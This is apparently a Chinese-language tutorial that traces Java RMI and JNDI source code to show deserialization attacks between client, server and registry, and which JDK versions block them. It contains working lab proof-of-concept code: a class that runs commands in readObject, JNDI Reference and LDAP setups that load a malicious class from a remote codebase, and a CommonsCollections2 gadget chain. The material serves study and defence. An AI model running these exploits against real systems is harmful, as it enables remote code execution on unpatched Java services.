接下來就該客戶端和服務端之間的通信了,同理客戶端通過rmiregistry返回的那個Proxy對象,也就是所謂的Stub和服務端進行通信,首先服務端接受到數據以後,會對客戶端傳來的所需要遠程方法處理的參數進行反序列化,這裏又是一個可以利用的點,因爲我們從客戶端的角度,這個只要後臺不做檢驗,我們就可控

        this.unmarshalCustomCallData(var41);
        //從 ConnectionInputStream裏反序列化出遠程調用的參數
        //這裏就是客戶端可以用來攻擊服務端的點,因爲這裏對遠程調用方法的參數進行了反序列化,由此我們可以傳遞                          惡意的反序列化數據進來
        var9 = this.unmarshalParameters(var1, var42, var7);

最後就是服務端處理完成後,將結果返回給客戶端,同理,這個範圍值從服務端的角度來說,也是可控的,甲乙雙方可以進行互相攻擊。

        //獲取輸入流  
        var11 = var7.getInputStream();
        //解封裝參數將返回值賦值給var46,也就是把返回的結果字符串“hello”賦值給var47
        //既然將返回的參數還原了,那麼其中必定包含了反序列化,由此此處可以是服務端對客戶端進行反序列化攻擊的                         點
      //也就是說,在這個遠程調用的過程中,我們可以想辦法,把參數的序列化數據替換成惡意序列化數據,我們就能攻擊服務端,而服務端,也能替換其返回的序列化數據爲惡意序列化數據,進而被動攻擊客戶端。
        Object var47 = unmarshalValue(var46, (ObjectInput)var11);
        var9 = true;
        clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
        //釋放鏈接通道
        this.ref.getChannel().free(var6, true);
        var13 = var47;

所以總結一下有五條攻擊思路

服務端------->rmiregistry

客戶端------->rmiregistry

rmiregistry------->客戶端

客戶端------->服務端

服務端------->客戶端

客戶端攻擊服務端

接下來就一個一個來試驗一下,這幾條攻擊思路。

首先客戶端(遠程方法調用方),對服務端(遠程方法服務方)進行反序列化攻擊,客戶端對服務端進行反序列化的攻擊關鍵在於傳遞的參數

那我們應該怎麼來實現呢?我們來重新寫一個遠程方法的調用,(此處參考了知道創宇大佬的文章和代碼Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上) ,大佬的代碼地址https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)

首先我們先修改一下遠程方法服務方的代碼,爲接口中唯一的一個方法添加參數,是一個Person類型。

package com.rmitest.inter;

import com.rmitest.impl.Person;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(Person person)throws RemoteException;
}

看一下這個Person類的具體細節

package com.rmitest.impl;

import java.io.Serializable;

public class Person implements Serializable {
    private static final long serialVersionUID = -8482776308417450924L;
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

就是一個簡單的pojo類,然後修改HelloImpl代碼實現。

package com.rmitest.impl;



import com.rmitest.inter.IHello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements IHello {

    public HelloImpl() throws RemoteException {

    }

    @Override
    public String sayHello(Person person) {
        System.out.println("hello"+person.getName());
        return "hello"+person.getName();
    }
}

然後將接口文件放到Registry項目中,記得包路徑要和在服務方的項目中的路徑一樣否則會爆ClassNotFoundException的錯誤,Registry項目中的IHello接口中的sayHello方法無需添加參數,因爲rmiregistry在返回給客戶端Stub時,這個Stub中只有對應的服務端的地址,端口號,以及objID等信息,並沒有相關的參數信息。

Registry項目目錄結構如下

12

最後客戶端這邊,就只需要將Person類按照和服務端一樣的包路徑拷貝過來,在修改下IHello裏sayHell方法的參數就ok了

package com.rmitest.customer;



import com.rmitest.impl.Person;
import com.rmitest.inter.IHello;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMICustomer {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
        Person person = new Person();
        person.setName("hack");
        System.out.println(hello.sayHello(person));
    }
}

此時一個正常的遠程方法調用環境就搭建好了,按理說這種情況下是沒有什麼反序列化漏洞的,但是如果說服務端的項目中存在一些已知的存在問題的類,例如Apache Common Collection。我們來模擬一下當服務端存在有存在反序列化問題的類時的情況。

package com.rmitest.weakclass;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Weakness implements Serializable {
    private static final long serialVersionUID = 7439581476576889858L;
    private String param;

    public void setParam(String param) {
        this.param = param;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.param);
    }
}

這裏的Weakness類只是用來模擬一個在反序列化是會進行高危操作的一個類,比起用Apache Common Collection會現顯得更加直觀。

同樣我們客戶端如果想要利用這個類來對服務端進行反序列化攻擊的話,那麼客戶端自然也需要存在這個類。所以拷貝一份到客戶端,我們之前分析源碼的時候看到了,服務端會反序列化客戶端傳來的需要遠程方法處理的參數,這就是我們的攻擊點,

  this.unmarshalCustomCallData(var41);
    //從 ConnectionInputStream裏反序列化出遠程調用的參數
    //這裏就是客戶端可以用來攻擊服務端的點,因爲這裏對遠程調用方法的參數進行了反序列化,由此我們可以傳遞                          惡意的反序列化數據進來
    var9 = this.unmarshalParameters(var1, var42, var7);

我們根據項目的源碼可以看到,這裏傳遞的參數類型是一個Person類型,Person這個類型本身是沒有問題的,那我們要怎麼實現讓服務端反序列化Person類時能調用Weakness類呢?

其實很簡單,我們只需要將客戶端這邊的Weakness類修改一下就可以了,我們讓Weakness繼承PerSon類就可以實現這個效果了,繼承了PerSon之後我們的Weakness類就是Person類型的了,這樣傳遞的時候Weakness類就可以被當作Person類來進行傳遞,表面上傳遞的是Person類型的參數,可實際上傳遞的參數確是Weakness類。

public class Weakness extends Person implements Serializable {
    private static final long serialVersionUID = 7439581476576889858L;
    private String param;

    public void setParam(String param) {
        this.param = param;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.param);
    }
}

看一下客戶端這邊的實現

package com.rmitest.customer;



import com.rmitest.inter.IHello;
import com.rmitest.weakclass.Weakness;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMICustomer {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
        Weakness weakness = new Weakness();
        weakness.setParam("open /Applications/Calculator.app");
        weakness.setName("hack");
        System.out.println(hello.sayHello(weakness));
    }
}

可以看成功將Weakness類作爲參數進行傳遞,我們之前說過,服務端在處理客戶端傳來的遠程調用信息時,是會調用UnicastServerRef.dispatch()方法的,會反序列化其中的參數

看一下調用鏈即可知

13

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    if (var0.isPrimitive()) {
        if (var0 == Integer.TYPE) {
            return var1.readInt();
        } else if (var0 == Boolean.TYPE) {
            return var1.readBoolean();
        } else if (var0 == Byte.TYPE) {
            return var1.readByte();
        } else if (var0 == Character.TYPE) {
            return var1.readChar();
        } else if (var0 == Short.TYPE) {
            return var1.readShort();
        } else if (var0 == Long.TYPE) {
            return var1.readLong();
        } else if (var0 == Float.TYPE) {
            return var1.readFloat();
        } else if (var0 == Double.TYPE) {
            return var1.readDouble();
        } else {
            throw new Error("Unrecognized primitive type: " + var0);
        }
    } else {
      //最終在參數在 unmarshalValue 的var1.readObject()中被反序列化
        return var1.readObject();
    }
}

14

至此 我們實在jdk1.7_21的版本下以客戶端的身份去成功攻擊了服務端。

服務端攻擊客戶端

分析完了客戶端對服務端的攻擊,我們來看一下 服務端對客戶端的攻擊,根據第二章RMI流程源碼分析我們看到了,服務端如果想要攻擊客戶端,那麼利用點就存在客戶端反序列話服務端的返回值的時候。這時候需要將環境稍微修改一下。

其實很簡單,先修改服務端的代碼,我們將IHello接口中sayHello方法需要的參數刪除,然後將返回值類型由String修改成Person類型。

package com.rmitest.inter;

import com.rmitest.impl.Person;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public Person sayHello()throws RemoteException;
}

HelloImpl也根據接口的要求進行修改

package com.rmitest.impl;

import com.rmitest.inter.IHello;
import com.rmitest.weakclass.Weakness;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements IHello {

    public HelloImpl() throws RemoteException {

    }

    @Override
    public Person sayHello() {
        Weakness weakness = new Weakness();
        weakness.setParam("open /Applications/Calculator.app");
        weakness.setName("hack");
        return weakness;
    }
}

同客戶端攻擊服務端時一樣,只不過這次變成了服務端這邊的Weakness類需要繼承Person類了。

然後客戶端這邊就修改完畢。

然後我們來修改rmiregistry這邊的代碼,同樣先修改IHello接口,然後我們需要將Person類拷貝到rmiregistry這邊,不過一般在生產環境中,rmiregistry和服務端一般都是在同一臺機器統一個項目文件裏,所以服務端可以訪問的類rmiregistry同樣也可以。

緊接着就是就該客戶端這邊的代碼,同理Weakness類不再繼承Person

public class RMICustomer {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
        Person person = hello.sayHello();

    }
}

如此一來就可以實現通過服務端去攻擊客戶端

根據之前的分析客戶端在遠程方法的調用過程中會在UnicastRef.invoke方法中對服務端返回的數據進行反序列化,看一下調用鏈

15

如此一來服務端通過RMI攻擊客戶端的方式也就清晰了。

服務端攻擊客戶端 2

上一小節講述的服務端攻擊客戶端的方式是通過返回值來進行操作的,這樣的話利用面比較狹窄,那麼有沒有一種特別通用的利用方式呢?讓客戶端在lookup一個遠程方法的時候能直接造成RCE,事實證明是有的。

這裏就要講到一個特別的類javax.naming.Reference,下面是該類的官方註釋

/**
  * This class represents a reference to an object that is found outside of
  * the naming/directory system.
  *<p>
  * Reference provides a way of recording address information about
  * objects which themselves are not directly bound to the naming/directory system.
  *<p>
  * A Reference consists of an ordered list of addresses and class information
  * about the object being referenced.
  * Each address in the list identifies a communications endpoint
  * for the same conceptual object.  The "communications endpoint"
  * is information that indicates how to contact the object. It could
  * be, for example, a network address, a location in memory on the
  * local machine, another process on the same machine, etc.
  * The order of the addresses in the list may be of significance
  * to object factories that interpret the reference.
  *<p>
  * Multiple addresses may arise for
  * various reasons, such as replication or the object offering interfaces
  * over more than one communication mechanism.  The addresses are indexed
  * starting with zero.
  *<p>
  * A Reference also contains information to assist in creating an instance
  * of the object to which this Reference refers.  It contains the class name
  * of that object, and the class name and location of the factory to be used
  * to create the object.
  * The class factory location is a space-separated list of URLs representing
  * the class path used to load the factory.  When the factory class (or
  * any class or resource upon which it depends) needs to be loaded,
  * each URL is used (in order) to attempt to load the class.
  *<p>
  * A Reference instance is not synchronized against concurrent access by multiple
  * threads. Threads that need to access a single Reference concurrently should
  * synchronize amongst themselves and provide the necessary locking.
  *
  * @author Rosanna Lee
  * @author Scott Seligman
  *
  * @see RefAddr
  * @see StringRefAddr
  * @see BinaryRefAddr
  * @since 1.3
  */

簡單解釋下該類的作用就是記錄一個遠程對象的位置,然後服務端將實例化好的Reference類通過bind方法註冊到rmiregistry上,然後客戶端通過rmiregistry返回的Stub信息找到服務端並調用該Reference對象,Reference對象通過URLClassloader將記錄在Reference對象中的Class從遠程地址上加載到本地,從而觸發惡意類中的靜態代碼塊,導致RCE

我們使用JDK 7u21作爲環境來進行該利用方式的深入分析

首先看下服務端的代碼

public class RMIProvider {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
//TODO 把resources下的Calc.class 或者 自定義修改編譯後target目錄下的Calc.class 拷貝到下面代碼所示http://host:port的web服務器根目錄即可
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
      //嘗試使用JNDI的API來bind,但是會報錯
//        Context context = new InitialContext();
//        context.bind("refObj", refObjWrapper);
        Registry registry = LocateRegistry.getRegistry(1099);
        registry.bind("refObj", refObjWrapper);
    }
}

可以看到在實例化Reference對象的時候會傳遞三個參數進去,這三個參數分別是

className

包含此引用所引用的對象的類的全限定名。(ps: 就是惡意類的類名或者全限定類名,經過測試該參數不是必須,爲空也行,關鍵在於第二個參數 也就是classFactory)

classFactory

包含用於創建此引用所引用的對象的實例的工廠類的名稱。初始化爲零。(ps: 第二個參數很重要 一定要寫惡意類的全限定類名)

classFactoryLocation

包含工廠類的位置。初始化爲零。(ps: 也就是惡意類存放的遠程地址)

接下來就來跟入源碼看一看

public Reference(String className) {
    this.className  = className;
    addrs = new Vector();
}
........
    public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }

實例化Reference期間就只進行以上這些操作

實例化ReferenceWrapper的時候同樣只進行了簡單的賦值操作

public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
    this.wrappee = var1;
}

接下來就是通過調用bind方法來將ReferenceWrapper對象註冊到rmiregistry中。客戶端bind Reference過程結束接下來看rmiregistry這邊

這裏呢因爲 jdk7u21 和 jdk 8u20兩個版本在調試的時候無法在RegistryImpl_Skeldispatch方法上攔截斷點所以 暫時採用jdk 8u221版本來進行演示

同綁定一個正常的遠程對像的差別不大隻不過綁定一個正常的遠程對象的時候,rmiregistry反序列化服務端傳遞來的結果是這樣的

16

而綁定Reference的時候rmiregistry反序列化服務端傳遞來的結果是這樣的

17

18

接下來來看客戶端調用Reference這個遠程對象的過程,客戶端的代碼演示環境爲jdk 8u20

首先看下客戶端的代碼

public class RMICustomer {
    public static void main(String[] args) throws NamingException {
      //使用JNDI的方式來lookup遠程對象  
      new InitialContext().lookup("rmi://127.0.0.1:1099/refObj");
    }
}

其實jndi的InitialContext().lookup() 底層和rmi自己的LocateRegistry.getRegistry().lookup()一樣都是調用了RegistryImpl_Stub.lookup()方法但是jndi在此基礎上又做了自己的封裝,例如在處理rmiregistry返回的ReferenceWrapper_stub對象時,二者的處理方式就不相同。

rmi無法處理ReferenceWrapper_stub對象,而jndi在接收了rmiregistry返回的ReferenceWrapper_stub對象後,結束當前lookup方法,在其上一層的lookup方法中也就是RegistryContext.lookup()方法裏會對返回的ReferenceWrapper_stub進行處理

來觀察下RegistryContext.lookup()方法的具體內容

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
          //調用RegistryImpl_Stub.lookup()方法
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }
                //反序列化的ReferenceWrapper_stub對象在該方法中被處理
        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

接下來再跟進decodeObject()方法之後

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
      //判斷返回的ReferenceWrapper_stub是否是RemoteReference的子類,結果爲真,返回ReferenceWrapper_stub中的Reference對象
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
      //接着對Reference對象進行操作
        return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    } catch (NamingException var5) {

NamingManager.getObjectInstance()方法就是處理Reference對像並導致RCE的關鍵了

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{

    ObjectFactory factory;
......
    //判斷並接收Reference對象
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively
                        // 這裏會將Reference對象傳入並且同時傳入全限定類名
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

根據觀察NamingManager.getObjectInstance()方法的內部實現,關鍵代碼在於這一段 factory = getObjectFactoryFromReference(ref, f);

跟進getObjectFactoryFromReference方法,

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
      //首先會嘗試使用AppClassloder從本地加載惡意類,當然肯定是失敗的
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
        //獲取codebase地址
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
          //該方法內會實例化一個URlClassloader 並從codebase中的地址中的位置去請求並加載惡意類
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

可以看到真正負責從遠程地址加載惡意類的是第二次的helper.loadClass(factoryName, codebase)

該方法的具體實現如下

public Class<?> loadClass(String className, String codebase)
        throws ClassNotFoundException, MalformedURLException {
        //獲取當前上下文的Classloader 也就是AppClassloader
    ClassLoader parent = getContextClassLoader();
    //實例化一個URLClassloader  
  ClassLoader cl =
             URLClassLoader.newInstance(getUrlArray(codebase), parent);
        //去遠程加載惡意類
    return loadClass(className, cl);
}

這就是服務端攻擊客戶端的另一種方式,雖然本質上還是有rmi去訪問rmiregistry獲取的Reference對象,但是由於JNDI對rmi進行了又一次的封裝導致兩者對Reference對象的處理不一樣,所以客戶端只有在使用JNDI提供的方法去訪問rmiregistry獲取的Reference對象時纔會觸發RCE。

這個方法看上去好像很通用,在jdk 8u121版本之前確實如此,但是在jdk 8u121版本以及之後的版本中,此方法默認情況下就不再可用了,因爲從jdk 8u121版本開始 增加了對com.sun.jndi.rmi.object.trustURLCodebase的值的校驗,而該值默認爲false,所以默認情況下想要通過Reference對象來遠程加載惡意類的想法是行不通了,

我們來看一下jdk 8u121版本究竟爲了防止遠程加載惡意類做了哪些改動

首先在還沒有通過rmi去到rmiregistry獲取Reference對象之前,在RegistryContext這個類被加載的時候就執行了以下的靜態代碼

```java? static { PrivilegedAction var0 = () -> { return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); }; String var1 = (String)AccessController.doPrivileged(var0); trustURLCodebase = "true".equalsIgnoreCase(var1); }

可以看到這裏獲取了`com.sun.jndi.rmi.object.trustURLCodebase`默認值爲false

然後當執行進`decodeObject()`方法,並且準備執行`NamingManager.getObjectInstance()`方法之前多了以下判斷

```java
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
    throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
    return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}

就是判斷了com.sun.jndi.rmi.object.trustURLCodebase的值,由於該值爲false所以就會跑出異常中止執行

想要jdk 8u121版本能夠正常遠程加載就去要加上以下代碼

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

這樣就能又正常的RCE了

但是在JDK 8u191及以後的版本中客戶端lookup以前加上上面的代碼之後,從新執行會發現不報錯了,但是仍然無法RCE,這是爲什麼呢,我們繼續跟着源碼往下看

在通過了RegistryContext中對com.sun.jndi.rmi.object.trustURLCodebase的判斷並執行了NamingManager.getObjectInstance()方法之後,一路正常執行來到了關鍵的實例化URLClassloader並遠程加載惡意類的最後一步,然後你就會發現這裏變了

public Class<?> loadClass(String className, String codebase)
        throws ClassNotFoundException, MalformedURLException {
  //此處有增加了一個對trustURLCodebase屬性的一個判斷,這個trustURLCodebase屬性和RegistryContext類
  //中的trustURLCodebase屬性完全不同
  if ("true".equalsIgnoreCase(trustURLCodebase)) {
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    } else {
        return null;
    }
}

我們來看下這個trustURLCodebase的值究竟是怎麼獲取的

private static final String TRUST_URL_CODEBASE_PROPERTY =
            "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
            AccessController.doPrivileged(
                new PrivilegedAction<String>() {
                    public String run() {
                        try {
                        return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                            "false");
                        } catch (SecurityException e) {
                        return "false";
                        }
                    }
                }
            );

這次獲取的是一個名稱爲TRUST_URL_CODEBASE_PROPERTY的屬性值,也就是說我們需要將該值也設置爲true纔行

 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//至於這個com.sun.jndi.ldap.object.trustURLCodebase這個屬性會在後續的JNDI Reference的LDAP攻擊響亮中講到。
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

也就是說 在jdk 8u191及其以後的版本中如果想讓 JNDI Reference rmi攻擊向量成功RCE的話 目標服務器就必須在lookup之前加上以上兩行代碼

由此可見在jdk 8u191及其以後的版本中通過這種方式來進行RCE攻擊幾乎不可能實現了。

服務端攻擊客戶端 3

在上一小節中通過使用JNDI 的Reference rmi攻擊向量進行RCE攻擊,根據網絡上大佬們提供的思路,除了使用rmi攻擊向量以外還可以使用JNDI Ldap向量來進行攻擊

話不多說直接上源碼,首先先看下Ldap服務端源碼

public class LDAPSeriServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
          //這裏的代碼只是在內存中模擬了一個ldap服務,本機上並不存在一個ldap數據庫所以程序結束後這些就都消失了
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);
                    //向ldap服務中添加數據條目,具體ldap條目相關細節可以去學習ldap相關知識,這裏就不做詳細講解了
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

以上的代碼呢就是在本地起了一個ldap服務監聽1389端口,並向其中添加了一條可被查詢的條目。單起一個ldap服務肯定是不夠的,既然是ldap RCE攻擊向量,那就肯定要添加一些東西讓 客戶端在通過JNDI查詢該Ldap的條目之後轉而去指定的服務器上加載惡意類。

所以需要向該條目中添加一些屬性,根據知道創宇404實驗室的Longofo大佬的文章

public class LDAPServer1 {
    public static void main(String[] args) throws NamingException, RemoteException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

        Attribute mod1 = new BasicAttribute("objectClass", "top");
        mod1.add("javaNamingReference");

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://127.0.0.1:8000/");
        Attribute mod3 = new BasicAttribute("javaClassName",
                "ExportObject");
        Attribute mod4 = new BasicAttribute("javaFactory", "com.longofo.remoteclass.ExportObject");


        ModificationItem[] mods = new ModificationItem[]{
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
        };
        ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods);
    }
}

這裏是向之前創建好的ldap索引中添加一些屬性,客戶端在向服務端查詢該條索引,服務端返回查詢結果,客戶端根據服務端的返回結果然後去指定位置查找並加載惡意類,這就是ldap攻擊向量一次RCE攻擊的流程。

這裏我們就要具體關注下JNDI客戶端是如何在訪問Ldap服務的時候被RCE的

首先客戶端代碼

public class LDAPClient1 {
    public static void main(String[] args) throws NamingException {
        Context ctx = new InitialContext();
        Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
    }
}

lookup函數開始一直往下執行,執行到LdapCtx.c_lookup方法時,發送查詢信息到服務端並解析服務端的返回數據

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
    var2.setError(this, var1);
    Object var3 = null;

    Object var4;
    try {
        SearchControls var22 = new SearchControls();
        var22.setSearchScope(0);
        var22.setReturningAttributes((String[])null);
        var22.setReturningObjFlag(true);
        //此處客戶端向服務端進行查詢並獲得查詢結果
        LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
        this.respCtls = var23.resControls;
        if (var23.status != 0) {
            this.processReturnCode(var23, var1);
        }

        if (var23.entries != null && var23.entries.size() == 1) {
            LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
            var4 = var25.attributes;
            Vector var8 = var25.respCtls;
            if (var8 != null) {
                appendVector(this.respCtls, var8);
            }
        } else {
            var4 = new BasicAttributes(true);
        }

        if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
          //將查詢的結果,也就是我們在server端所添加的那幾條屬性進行解析,並返回一個Reference對象  
          var3 = Obj.decodeObject((Attributes)var4);
        }
    ......
    try {
      //此後的操作就和rmi Reference一樣的通過實例化URLClassloader對像,根據Reference中的信息去遠程加載惡意類
        return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
......
}

關鍵點在於var3 = Obj.decodeObject((Attributes)var4)這行代碼解析完成後所返回的結果,如下圖所示。

19

然後在DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4)這行代碼中根據Reference中的信息 實例化URLClassloader去遠程加載惡意類。

這種方法一直到jdk 8u191之前的版本都是可用的,但是在之後的版本中同 JNDI rmi Reference一樣,添加了對com.sun.jndi.ldap.object.trustURLCodebase屬性的校驗,該值默認爲false

服務端攻擊rmiregistry

接下來我們就要講通過服務端來攻擊rmiregistry了,和客戶端服務端互相攻擊的方式比起來相對複雜那麼一些,確切的說是通過僞造一個服務端的形式,因爲之前說這rmiregistry通常都和真正的服務端出在同一個主機,同一個項目上,根據我們之前對RMI流程的分析,服務端在通過bind方法向rmiregistry綁定遠程方法信息時,rmiregistry會反序列化服務端傳來的數據,在rmiregistry方處理服務端傳來的數據時會調用RegistryImpl_Skel的dispatch方法,其中會反序列化服務端傳來的兩個信息,一個是遠程方法提供服務的註冊名,另一個是封裝有遠程方法提供服務方信息的Proxy對象。

        //獲取輸入流
        var9 = var2.getInputStream();
            //反序列化“hello”字符串
        var7 = (String)var9.readObject();
        //這個位置本來是屬於反序列化出來的“HelloImpl”對象的,但是最終結果得到的是一個Proxy對像
        //這個很關鍵,這個Proxy對象即所爲的Stub(存根),客戶端就是通過這個Stub來知道服務端的地址和端口號從                            而進行通信的。
        //這裏的反序列化點很明顯是我們可以利用的,通過RMI服務端執行bind,我們就可以攻擊rmiregistry注                冊中心,導致其反序列化RCE
        var80 = (Remote)var9.readObject();

第一個String類型的數據反序列化我們沒有利用的思路,因爲String是一個final類型,沒辦法繼承和實現,我們入手的點就只能是下面的那個 var80 = (Remote)var9.readObject();之前分析RMI流程代碼時有一個點沒有提到,就是bind方法在序列化一個遠程對象時會將轉化成一個proxy對象然後再進行序列化操作並傳輸給rmiregistry,序列化的proxy對像默認是實現Remot接口並封裝RemoteObjectInvocationHandler的,但是如果傳遞的遠程對象本身就是Proxy則不會進行任何轉化直接傳遞,由MarshalOutputStream對象的replaceObject方法來實現具體操作,代碼如下。

protected final Object replaceObject(Object var1) throws IOException {
    if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
        Target var2 = ObjectTable.getTarget((Remote)var1);//生成一個Target對象,其中有一個stub屬性就是轉化好的Proxy對象
        if (var2 != null) {
            return var2.getStub();//返回Proxy對象
        }
    }

    return var1;
}

那麼這樣以來,似乎攻擊的思路就突然清晰了,我們只需要找一個rmiregistry中可以利用的Gadget然後,ysoserial中的RMIRegistryExploit就是針對使用了版本低於JDK8u121的rmiregistry進行反序列化攻擊的一個工具。

此次的測試環境是jdk1.7_21,採用CommonCollection2作爲payload來進行嘗試和分析。由於CommonCollection2封裝的過程中用到了

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

所以在rmiregistry這邊將commons-collections4引入

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

然後展示一下服務端這邊最終封裝完後的一個Proxy,服務端將這個Proxy序列化後 傳遞給rmiregistry,然後rmiregistry反序列化該數據從而出發漏洞執行命令

25

最終的調用鏈簡化一下,如下所示

AnnotationInvocationHandler.readObject()
HashMap.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown() 
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
